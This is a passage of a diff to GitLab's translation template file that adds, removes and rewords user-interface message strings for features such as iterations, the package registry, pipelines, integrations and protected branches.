+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17752,6 +17437,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17791,6 +17479,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17806,9 +17497,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17821,12 +17509,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17848,6 +17530,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17890,9 +17575,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17932,12 +17614,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17962,9 +17656,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18115,6 +17806,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18190,25 +17884,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18217,13 +17893,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18244,7 +17917,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18253,9 +17926,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18280,6 +17950,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18691,18 +18364,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18712,6 +18403,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18724,6 +18418,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18742,9 +18442,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18844,9 +18550,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18895,6 +18607,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18985,9 +18700,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19015,18 +18727,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19138,9 +18838,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19300,9 +18997,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19534,9 +19228,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19744,6 +19435,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19972,6 +19666,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20206,6 +19903,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20224,9 +19930,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20446,9 +20149,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20518,6 +20218,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20539,6 +20242,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20551,6 +20257,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20611,9 +20320,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21391,9 +21097,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21535,9 +21238,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21796,9 +21496,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21973,9 +21670,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22024,7 +21718,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22081,13 +21775,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22285,9 +21979,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22306,7 +21997,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22615,9 +22306,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22804,9 +22492,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22945,9 +22630,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23584,10 +23266,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23665,6 +23347,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23695,6 +23380,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23719,9 +23410,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23773,6 +23461,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23782,15 +23473,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23836,6 +23527,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23866,6 +23563,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24058,9 +23761,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24265,10 +23965,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24280,9 +23980,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24292,16 +23989,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24421,10 +24124,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24442,12 +24145,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24559,9 +24268,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24712,13 +24418,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24763,10 +24469,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24778,6 +24484,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25390,6 +25102,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25675,9 +25390,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25705,6 +25417,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25717,9 +25432,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25768,15 +25480,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25825,9 +25531,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26443,9 +26146,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26461,9 +26161,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26548,21 +26245,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26578,18 +26272,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26605,9 +26290,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26620,6 +26302,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26635,7 +26320,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26644,6 +26329,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26653,9 +26341,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26674,9 +26359,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26800,13 +26482,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26827,12 +26512,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26842,6 +26536,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26851,12 +26548,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26902,18 +26602,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27319,6 +27031,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27346,6 +27061,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
